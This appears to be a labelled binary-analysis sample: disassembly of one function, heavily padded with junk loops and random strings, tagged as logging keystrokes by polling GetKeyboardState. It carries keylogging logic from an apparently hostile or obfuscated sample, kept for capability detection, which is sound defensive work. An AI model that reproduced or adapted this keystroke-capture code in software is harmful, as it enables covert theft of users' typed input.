Function at 0x1002b91f
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, 0x1005be13
call fcn.1005a768
sub esp, 0x620
mov eax, 0x70ad6f2e
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], eax
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], eax
push ebx
mov dword [ebp - 0x30], 9
xor ebx, ebx
mov dword [ebp - 0x30], 0x152c58fb
push esi
mov dword [ebp - 0x30], 0x748afa2f
push edi
mov dword [ebp - 0x334], 0xc6ef
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], ebx
jmp 0x1002b989
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5b0], 0x62ee6d05
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002b978
push 0x5080
lea eax, [ebp - 0x334]
mov dl, 1
push eax
push ecx
call fcn.100280de
xor ecx, ecx
mov dword [ebp - 0x24], 0xce125d16
add esp, 0xc
inc ecx
mov dword [ebp - 0xe8], ecx
mov dword [ebp - 0x18], 0xf9150fae
mov dword [ebp - 0x1c], ebx
jmp 0x1002b9cf
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb0], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002b9c2
mov dword [ebp - 0x20], 0x54d7
cmp dword [ebp - 0x20], 0x5876
mov dword [ebp - 0x38], str.ylgf_omvileo_wluba_lkz_kwncclir_fchdagzss_mjhlbor_qgfs_uag_owasu_mdwrjewg_cvxaw
jle 0x1002ba72
mov edi, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov dword [ebp - 0x1c], ebx
mov eax, edi
mov ecx, esi
shl eax, cl
mov edi, ebx
mov dword [ebp - 0x40], eax
mov esi, ebx
mov dword [ebp - 0x34], 0x6e00
mov ecx, esi
shl eax, cl
lea ecx, [ebp - 0x610]
cdq
push edx
push eax
call fcn.10001a41
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002ba29
mov eax, dword [eax]
push eax
call fcn.100425d6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x610]
call fcn.10001f96
mov eax, dword [ebp - 0x40]
add esi, edi
dec dword [ebp - 0x34]
jne 0x1002ba0d
inc edi
cmp edi, 0xaf6
jl 0x1002ba04
mov esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x72c4
jl 0x1002b9f9
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0x79a1
jl 0x1002b9f4
xor ecx, ecx
inc ecx
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jl 0x1002bc08
mov dword [ebp - 0x74], 0x891f782a
mov dword [ebp - 0x34], 0x8d72a67f
mov dword [ebp - 0x74], ebx
cmp dword [ebp - 0x74], ebx
jl 0x1002bafe
mov eax, dword [ebp - 0x74]
cmp dword [ebp + eax*4 - 0xb0], ebx
je 0x1002baf1
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0xb0]
cmp dword [ebp - 0xe8], eax
jne 0x1002babc
mov eax, ebx
cmp dword [ebp - 0xe8], ebx
je 0x1002babe
mov eax, ecx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
je 0x1002bacb
cmp dword [ebp - 0x18], ebx
jne 0x1002bad9
mov eax, dword [ebp - 0x74]
mov edx, ebx
cmp dword [ebp + eax*4 - 0xb0], ebx
je 0x1002badb
mov edx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0xb0]
sub edx, eax
mov eax, ecx
cmp edx, 0x3927
jle 0x1002baf3
mov eax, ebx
imul eax, eax, 0xe
mov dword [ebp - 0x18], eax
dec dword [ebp - 0x74]
jns 0x1002ba94
mov dword [ebp - 0x40], 0x450a
cmp dword [ebp - 0x40], 0x481f
jle 0x1002bb56
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov esi, ebx
mov eax, edi
mov dword [ebp - 0x2c], ebx
cdq
idiv esi
mov edi, edx
mov ecx, ebx
mov eax, edi
sar eax, cl
mov ecx, 0x10075b18
cdq
push edx
push eax
call fcn.10001b85
inc ebx
cmp ebx, 0x10b1
jl 0x1002bb1f
mov edi, dword [ebp - 0x34]
inc esi
push 0
pop ebx
cmp esi, 0x308a
jl 0x1002bb15
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x2ab6
jl 0x1002bb13
mov dword [ebp - 0x18], ebx
jmp 0x1002bbbb
push 0x2f9c
push 0x2163
xor eax, eax
lea ecx, [ebp - 0xe8]
inc eax
xor dl, dl
push eax
push 0x3113
push ecx
push 0x1e5e
lea ecx, [ebp - 0x74]
push ecx
push 0x5023
push 0x7e0b
push 0x7ba3
push 0x393d
push eax
push 0x59a
push 0x7079
mov ecx, 0x178f
call fcn.1002a404
mov eax, dword [ebp - 0x24]
add esp, 0x38
cmp dword [ebp + eax*4 - 0xb0], ebx
jne 0x1002bbc0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1002bb5b
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x40], 0x4234
jge 0x1002bbf9
mov edx, str.mfe_ehqfdzrjv_vxkugkq_sfpp_iifuueo_ridb_lsa_kkl_yuuq
mov ecx, 0x10075b18
call fcn.100036dc
jmp 0x1002bbf9
or dword [ebp - 4], 0xffffffff
xor ecx, ecx
inc ecx
dec dword [ebp - 0x24]
jmp 0x1002ba75
cmp dword [ebp - 0x20], 0x51f3
jge 0x1002bc1a
push dword [ebp - 0x38]
call fcn.100425d6
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1002bc2e
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], ebx
jne 0x1002bc34
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x11
je 0x1002bc23
mov ecx, dword [0x10078198]
xor eax, eax
inc eax
test al, cl
jne 0x1002bc75
or ecx, eax
mov dword [0x10078198], ecx
mov dword [ebp - 4], 4
mov dword [0x1007819c], ebx
mov dword [0x100781a0], ebx
call fcn.1002fde3
push 0x1005c508
mov dword [0x1007819c], eax
call fcn.100425ac
or dword [ebp - 4], 0xffffffff
pop ecx
mov dword [ebp - 0xd4], 0xfffffff6
mov dword [ebp - 0x40], 0x4f19
cmp dword [ebp - 0x40], 0x525c
jle 0x1002bcee
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], 0x455b
mov esi, ebx
lea eax, [edi + esi]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x38], eax
mov edi, eax
mov ecx, ebx
mov eax, edi
sar eax, cl
mov ecx, 0x10075b18
cdq
push edx
push eax
call fcn.10001b85
inc ebx
cmp ebx, 0x32a3
jl 0x1002bcab
mov edi, dword [ebp - 0x1c]
inc esi
push 0
pop ebx
cmp esi, 0x1a84
jl 0x1002bca0
dec edi
dec dword [ebp - 0x20]
mov dword [ebp - 0x1c], edi
jne 0x1002bc9e
mov edi, dword [ebp - 0x34]
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x2df
jl 0x1002bc94
push 3
lea ecx, [ebp - 0xf4]
call fcn.10001c9a
mov dword [ebp - 4], 5
mov byte [ebp - 4], 6
cmp dword [ebp - 0x40], 0x4e2f
jge 0x1002bd3c
mov edx, str.lxni_jwobe_gmp_tavy_phew_tflno_eczfy_vxqa_oifvib_smulmn
mov ecx, 0x10075b18
call fcn.100036dc
jmp 0x1002bd3c
push ecx
push ebx
push ecx
push ecx
push 0x5fb6
lea eax, [ebp - 0xf4]
mov dword [ebp - 4], 5
push eax
lea eax, [ebp - 0x430]
mov dword [ebp - 0x180], 9
push eax
call fcn.1002abff
add esp, 0x1c
dec dword [ebp - 0xd4]
jne 0x1002be85
mov ecx, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xf4]
mov dword [eax + 8], ecx
test ecx, ecx
jne 0x1002be85
push 2
lea ecx, [ebp - 0x26c]
call fcn.10001c9a
mov byte [ebp - 4], 8
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x9c], ebx
jmp 0x1002bdc6
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0x1d8], 0xe01afec1
inc dword [ebp - 0x9c]
cmp dword [ebp - 0x9c], 2
jl 0x1002bdaf
push 0x482f
push 0x428a
push ecx
lea eax, [ebp - 0x26c]
mov cl, 1
push eax
lea eax, [ebp - 0x9c]
push eax
call fcn.1002865b
add esp, 0x14
lea eax, [ebp - 0x180]
lea edx, [ebp - 0xf4]
push 0xcb8
push eax
push 0x4e2c
push ecx
push ebx
push ecx
push 0x1b00
mov ecx, 0xe71
call fcn.1002a6a3
mov eax, dword [ebp - 0x1d8]
xor edx, edx
mov eax, dword [ebp - 0x1d8]
add esp, 0x1c
mov ecx, dword [ebp - 0xf4]
cmp eax, dword [ecx + 4]
mov ecx, dword [ebp - 0x1d8]
mov eax, dword [ebp - 0xf4]
setne dl
mov dword [ebp - 0x2c], edx
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x1d8]
setge dl
xor ecx, ecx
cmp edx, dword [ebp - 0x2c]
setge cl
add eax, ecx
mov ecx, dword [ebp - 0x26c]
push ecx
mov dword [ecx + 4], eax
mov dword [ebp - 0x2c], eax
call fcn.10042747
pop ecx
mov dword [ebp - 0x26c], ebx
mov dword [ebp - 0x268], ebx
mov dword [ebp - 0x264], ebx
jmp 0x1002beff
lea eax, [ebp - 0xf4]
mov dword [ebp - 0x250], ebx
push eax
lea eax, [ebp - 0x2e8]
mov dword [ebp - 0x2e8], 0xda72
push eax
push ebx
push 0x7070
push 0x5706
lea eax, [ebp - 0x250]
mov dword [ebp - 0x2b8], 0x30477ae2
push eax
push 0x5afb
push 0x4e26
lea eax, [ebp - 0xd4]
mov dword [ebp - 0x280], ebx
push eax
lea eax, [ebp - 0x280]
mov dl, 1
push eax
lea eax, [ebp - 0x180]
push eax
push ebx
push 0x11e6
push 0x6fae
lea ecx, [ebp - 0x2b8]
call fcn.1002a404
add esp, 0x38
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0xf4], 0
je 0x1002bf2a
push dword [ebp - 0xf4]
call fcn.10042747
pop ecx
mov dword [ebp - 0xf4], ebx
mov dword [ebp - 0xf0], ebx
mov dword [ebp - 0xec], ebx
mov dword [ebp - 0x1c], 0x7d3a
cmp dword [ebp - 0x1c], 0x7e44
jle 0x1002bfb7
push 1
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov dword [ebp - 0x40], ebx
mov edi, ebx
mov dword [ebp - 0x34], 0x1fe8
mov dword [ebp - 0x20], edi
mov esi, edi
mov edi, 0x5e53
mov eax, esi
lea ecx, [ebp - 0x58c]
cdq
push edx
push eax
call fcn.10001a41
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002bf7a
mov eax, dword [eax]
push eax
call fcn.100425d6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x58c]
call fcn.10001f96
dec esi
dec edi
jne 0x1002bf60
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x40]
add edi, esi
dec dword [ebp - 0x34]
mov dword [ebp - 0x20], edi
jne 0x1002bf59
inc esi
mov dword [ebp - 0x40], esi
cmp esi, 0x74c9
jl 0x1002bf4d
push 1
call dword [sym.imp.USER32.dll_ShowCursor]
cmp byte [0x10076cc5], 0
je 0x1002c125
xor ecx, ecx
mov dword [ebp - 0x24], 0xce125d16
inc ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x60], 0xf9150fae
mov dword [ebp - 0x1c], ebx
jmp 0x1002bfea
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xbc], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002bfdd
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jl 0x1002c0d0
mov dword [ebp - 0x18], 0x891f782a
mov dword [ebp - 0x20], 0x8d72a67f
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x1002c075
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0xbc], ebx
je 0x1002c068
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0xbc]
cmp dword [ebp - 0x28], eax
jne 0x1002c033
mov eax, ebx
cmp dword [ebp - 0x28], ebx
je 0x1002c035
mov eax, ecx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
je 0x1002c042
cmp dword [ebp - 0x60], ebx
jne 0x1002c050
mov eax, dword [ebp - 0x18]
mov edx, ebx
cmp dword [ebp + eax*4 - 0xbc], ebx
je 0x1002c052
mov edx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0xbc]
sub edx, eax
mov eax, ecx
cmp edx, 0x3927
jle 0x1002c06a
mov eax, ebx
imul eax, eax, 0xe
mov dword [ebp - 0x60], eax
dec dword [ebp - 0x18]
jns 0x1002c011
mov dword [ebp - 0x60], ebx
jmp 0x1002c0c2
mov dword [ebp - 0x18], ebx
jmp 0x1002c0ae
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jl 0x1002c0ab
push ecx
push 0x29f5
lea eax, [ebp - 0x6a]
mov byte [ebp - 0x6a], bl
push eax
push ecx
push 0x5750
push ecx
call fcn.10028aab
add esp, 0x18
dec dword [ebp - 0x28]
push 1
pop ecx
jns 0x1002c087
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1002c07f
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0xbc], ebx
jne 0x1002c0c7
inc dword [ebp - 0x60]
cmp dword [ebp - 0x60], ebx
jle 0x1002c07a
dec dword [ebp - 0x24]
jns 0x1002bffb
push ecx
push 0x4bf5
push 0x56d1
lea eax, [ebp - 0x60]
mov edx, 0xaec
push eax
push 0x6e79
push ecx
push 0x447
push 0x5878
push 0x130e
push 0x2f1c
push 0x6a71
push 0x4afd
push 0x4204
push ecx
push 0x5ec9
mov ecx, 0x6a19
call fcn.10028adb
add esp, 0x3c
jmp 0x1002f5be
cmp dword [ebp - 0x1c], 0x7cb4
jge 0x1002c139
push str.vxuzplno_sqtqvury_qhbqkuba_hvoysdgw_ctsq_jfp_pfoht_wnc_ythqilr_iai_kygpzkg_qjuyd_fiuj_fenpnptpz
call fcn.100425d6
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x18], 0x5596960f
mov dword [ebp - 0x1c], ebx
jmp 0x1002c15a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x208], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002c149
mov dword [ebp - 0x18], ebx
jmp 0x1002c1e0
push 4
lea ecx, [ebp - 0x27c]
call fcn.10001c9a
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x1c], ebx
jmp 0x1002c191
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x27c]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1002c17e
mov esi, dword [ebp - 0x27c]
mov dword [esi + 4], ebx
push ecx
push 1
push ecx
mov edx, 0x1f0
mov byte [ebp - 0x7d], bl
lea ecx, [ebp - 0x7d]
call fcn.10028ede
add esp, 0xc
inc dword [esi + 4]
cmp dword [esi + 4], 2
jle 0x1002c1a0
or dword [ebp - 4], 0xffffffff
push esi
call fcn.10042747
mov dword [ebp - 0x27c], ebx
mov dword [ebp - 0x278], ebx
mov dword [ebp - 0x274], ebx
inc dword [ebp - 0x18]
pop ecx
cmp dword [ebp - 0x18], 2
jle 0x1002c165
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x208]
cmp dword [ebp - 0x18], eax
jg 0x1002c1fb
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jne 0x1002c209
mov eax, dword [ebp - 0x208]
cmp dword [ebp - 0x208], ebx
je 0x1002c216
cmp dword [ebp - 0x18], ebx
jne 0x1002c21c
mov eax, dword [ebp - 0x208]
mov eax, dword [ebp - 0x18]
mov edx, 0x10076cc5
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x200]
mov eax, dword [ebp - 0x204]
push ecx
push ebx
push ecx
mov dword [ebp - 0x18], 1
mov ecx, 0x7c38
call fcn.10028ede
mov eax, 0x48d327cb
add esp, 8
mov dword [ebp - 0x318], eax
mov edx, 0x70b7
mov dword [ebp - 0x314], eax
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], eax
lea eax, [ebp - 0x2c0]
push ebx
push 0x3d4a
push eax
sub esp, 0xc
mov dword [ebp - 0x30], 0xfffffffc
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x2c0], 0xedad
call fcn.100278ad
add esp, 0x1c
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x1002c2ad
push 1
call fcn.10028f14
pop ecx
mov dword [ebp - 0x68], 1
lea ecx, [ebp - 0x1b4]
push 4
mov dword [ebp - 0x28], 0x100725f0
call fcn.10001c9a
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x1c], ebx
jmp 0x1002c2e7
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1b4]
mov dword [eax + ecx*4], 0xffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1002c2d4
mov dword [ebp - 0x68], ebx
jmp 0x1002c362
mov dword [ebp - 0xa0], 1
mov dword [ebp - 0xa0], ebx
cmp dword [ebp - 0xa0], 3
jg 0x1002c35c
xor ebx, ebx
inc ebx
push ebx
mov dword [ebp - 0x2f8], ebx
xor dl, dl
push ebx
mov ecx, 0x24c8
call fcn.1002aa3c
pop ecx
pop ecx
push 0x7d3a
push ecx
lea eax, [ebp - 0x68]
push eax
push ecx
lea eax, [ebp - 0x1b4]
push eax
push ebx
lea edx, [ebp - 0x2f8]
lea ecx, [ebp - 0xa0]
call fcn.10028f5a
add esp, 0x18
inc dword [ebp - 0xa0]
cmp dword [ebp - 0xa0], 3
jle 0x1002c30e
xor ebx, ebx
mov eax, dword [ebp - 0x68]
inc dword [ebp - 0x68]
cmp dword [ebp - 0x68], 0xe
je 0x1002c2f2
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1b4], 0
je 0x1002c393
push dword [ebp - 0x1b4]
call fcn.10042747
pop ecx
mov dword [ebp - 0x1b4], ebx
mov dword [ebp - 0x1b0], ebx
mov dword [ebp - 0x1ac], ebx
push 1
lea ecx, [ebp - 0x14c]
mov dword [ebp - 0x108], ebx
call fcn.10001c9a
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x20], 0x7c5
cmp dword [ebp - 0x20], 0x85a
jle 0x1002c3e7
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x10075b18
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.10001b85
inc edi
cmp edi, 0x6217
jl 0x1002c3c1
inc esi
cmp esi, 0x4499
jl 0x1002c3bf
mov dword [ebp - 0x24], 2
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x20], 0x4ff
jge 0x1002c428
mov edx, str.gjxe_vpnprkhxx_gxlgbh_ocbzgq_jjvffm_anvmcquor_dlwewfrar_erbvsnq_muma_ilyi_hpspprko_ktomcmmqn_bibsdb
mov ecx, 0x10075b18
call fcn.100036dc
jmp 0x1002c428
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x30], 0xff8ee1d1
xor eax, eax
mov dword [ebp - 0x1c], 0xcdf5ef88
inc eax
mov dword [ebp - 0x1c], 0xc007c7be
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x30], 0xc12a7b09
mov dword [ebp - 0x30], 0x21dd2eb2
push eax
call fcn.10001c9a
push ecx
lea eax, [ebp - 0x14c]
mov byte [ebp - 4], 0x10
push eax
push ecx
push ecx
push ebx
push ecx
push ecx
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x30], 0x3ca5
push eax
sub esp, 0xc
call fcn.100298b1
mov dword [ebp - 0x34], 0x68b2
add esp, 0x2c
cmp dword [ebp - 0x34], 0x6ab5
jle 0x1002c4e7
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov eax, edi
mov ebx, 0x4a5e
cdq
idiv esi
mov edi, edx
mov eax, edi
mov ecx, 0x10075b18
cdq
push edx
push eax
call fcn.10001b85
dec edi
dec ebx
jne 0x1002c4b5
mov edi, dword [ebp - 0x20]
inc esi
cmp esi, 0x2d71
jl 0x1002c4a9
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x617b
jl 0x1002c4a7
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
xor edx, edx
mov dword [ebp - 0xa8], ebx
inc edx
jmp 0x1002c50b
mov ecx, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x1e4]
mov dword [eax + ecx*4], 0xa10dd664
inc dword [ebp - 0xa8]
cmp dword [ebp - 0xa8], edx
jl 0x1002c4f2
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x34], 0x6658
jge 0x1002c550
mov edx, str.qwaangqr_zsw_jftiumwsd_fszh_sdexbg_sexoa_aju_kgozi_kkzizf
mov ecx, 0x10075b18
call fcn.100036dc
jmp 0x1002c54d
xor edx, edx
inc edx
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jl 0x1002c6ba
jmp 0x1002c568
xor edx, edx
inc edx
mov dword [ebp - 0x30], 0xfffffffc
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], 0x6e86ff18
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], ebx
push 3
call fcn.10001c9a
mov dword [ebp - 0x2c], 0x337672a6
push 3
mov dword [ebp - 0x38], 0xf7cd
mov dword [ebp - 0x18], ebx
pop edx
jmp 0x1002c5c3
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x220]
mov dword [eax + ecx*4], 0x939e63a5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002c5b0
mov dword [ebp - 0x18], ebx
jmp 0x1002c5de
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3c4], 0xaf1ba137
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002c5cd
xor ecx, ecx
mov dword [ebp - 0x18], ebx
inc ecx
jmp 0x1002c5fc
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x18c], 0x24df
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002c5eb
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x14c]
cmp dword [edx + eax*4], 6
jae 0x1002c616
cmp dword [edx], ebx
jne 0x1002c616
mov ecx, ebx
mov eax, dword [ebp - 0x3c4]
xor edx, edx
dec dword [ebp - 0x3c4]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x220]
cmp ecx, dword [eax + 8]
mov eax, dword [ebp - 0x2c]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], ebx
jne 0x1002c648
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + ecx*4]
mov ecx, 0x89bb5c1e
add eax, 0xa760
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jg 0x1002c693
xor eax, eax
inc eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0xfffffff7
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x18c]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1002c675
push dword [ebp - 0x220]
call fcn.10042747
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x21c], ebx
mov dword [ebp - 0x218], ebx
dec dword [ebp - 0x24]
pop ecx
jns 0x1002c565
cmp dword [ebp - 0x1e4], 0
je 0x1002c6e1
push dword [ebp - 0x1e4]
call fcn.10042747
pop ecx
mov dword [ebp - 0x1e4], ebx
mov dword [ebp - 0x1e0], ebx
mov dword [ebp - 0x1dc], ebx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x14c], 0
je 0x1002c70c
push dword [ebp - 0x14c]
call fcn.10042747
pop ecx
mov dword [ebp - 0x14c], ebx
mov dword [ebp - 0x148], ebx
mov dword [ebp - 0x144], ebx
push 0xc
pop ecx
mov dword [ebp - 0x100], ecx
cmp ecx, 0xe0
jge 0x1002ca07
mov dword [ebp - 0x48], 3
xor ecx, ecx
mov dword [ebp - 0x5c], 0xf1912530
inc ecx
mov dword [ebp - 0x300], 0xffffffff
mov dword [ebp - 0x30], 0x489a
mov dword [ebp - 0x1c], ebx
jmp 0x1002c755
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x150], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002c748
mov dword [ebp - 0x48], 6
cmp dword [ebp - 0x48], 0x1a
jl 0x1002c944
mov dword [ebp - 0x178], 0x54320e32
mov dword [ebp - 0x2e0], 6
mov dword [ebp - 0x170], 0x94dfd996
cmp dword [ebp - 0x48], ebx
jne 0x1002c94c
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x178], ebx
jne 0x1002c7a3
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
imul ecx, eax
cmp ecx, dword [ebp - 0x48]
je 0x1002c949
mov dword [ebp - 0x20], 0x6a46
cmp dword [ebp - 0x20], 0x6bff
jle 0x1002c812
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov eax, ebx
mov ecx, 0x10075b18
and eax, esi
or eax, edi
cdq
push edx
push eax
call fcn.10001b85
inc ebx
cmp ebx, 0x3076
jl 0x1002c7cc
inc esi
push 0
pop ebx
cmp esi, 0x3f97
jl 0x1002c7c9
inc edi
cmp edi, 0x7d0c
jl 0x1002c7c7
push 0x23ef
push 0xff6
push 0x579
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov dword [ebp - 0x324], ebx
mov dword [ebp - 4], 0x13
cmp dword [ebp - 0x20], 0x69de
jge 0x1002c855
mov edx, str.fxd_yesjy_jsv_tdvbsfuv_ldmuifuv
mov ecx, 0x10075b18
call fcn.100036dc
jmp 0x1002c855
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
push 0x2d0c
push ecx
xor eax, eax
mov dword [ebp - 0x31c], 0xffffffff
inc eax
mov edx, 0x4c2c
push eax
push ebx
push eax
mov dword [ebp - 0x2c8], eax
mov ecx, 0x5dcd
push 0x5ac2
lea eax, [ebp - 0x48]
push eax
push 0x1e4e
call fcn.1002a210
add esp, 0x20
cmp dword [ebp - 0x5c], ebx
je 0x1002c93c
xor eax, eax
mov dword [ebp - 0x2d8], 0x389
inc eax
mov dword [ebp - 0x2d0], 0xa6ae
push eax
lea ecx, [ebp - 0x2c8]
mov dword [ebp - 0x308], ebx
push ecx
lea ecx, [ebp - 0x178]
push ecx
push 0x5830
push 0x3375
push ebx
push 0x19c1
lea ecx, [ebp - 0x300]
push ecx
lea ecx, [ebp - 0x2d0]
push ecx
lea ecx, [ebp - 0x308]
push ecx
lea ecx, [ebp - 0x2d8]
push ecx
lea ecx, [ebp - 0x5c]
push ecx
lea ecx, [ebp - 0x31c]
push ecx
push eax
lea eax, [ebp - 0x170]
push eax
lea edx, [ebp - 0x2e0]
lea ecx, [ebp - 0x324]
call fcn.10028adb
add esp, 0x3c
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x1002c96f
push 0x1ef7
push 0xfd3
push ebx
call dword [sym.imp.GDI32.dll_CreatePolygonRgn]
jmp 0x1002c96f
cmp dword [ebp - 0x170], ebx
je 0x1002c96f
mov dword [ebp - 0x5c], ebx
jmp 0x1002c9a1
xor ecx, ecx
inc ecx
mov dword [ebp - 0x1c], ebx
jmp 0x1002c95e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x514], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002c951
cmp dword [ebp - 0x48], ebx
jne 0x1002c944
dec dword [ebp - 0x150]
inc dword [ebp - 0x48]
xor ecx, ecx
inc ecx
jmp 0x1002c761
push ebx
push ecx
mov dword [ebp - 0x32c], 0xfef6
lea edx, [ebp - 0x32c]
push 0x264c
mov ecx, 0x7b17
call fcn.1002a964
add esp, 0xc
inc dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], ebx
jle 0x1002c97a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x100]
mov al, byte [eax]
cmp al, byte [ecx + 0x100725f0]
jne 0x1002ca74
lea eax, [ebp - 0x188]
mov dword [ebp - 0x188], ebx
push 1
push eax
call fcn.10027221
pop ecx
pop ecx
push 1
push ecx
lea edx, [ebp - 0x188]
call fcn.10029930
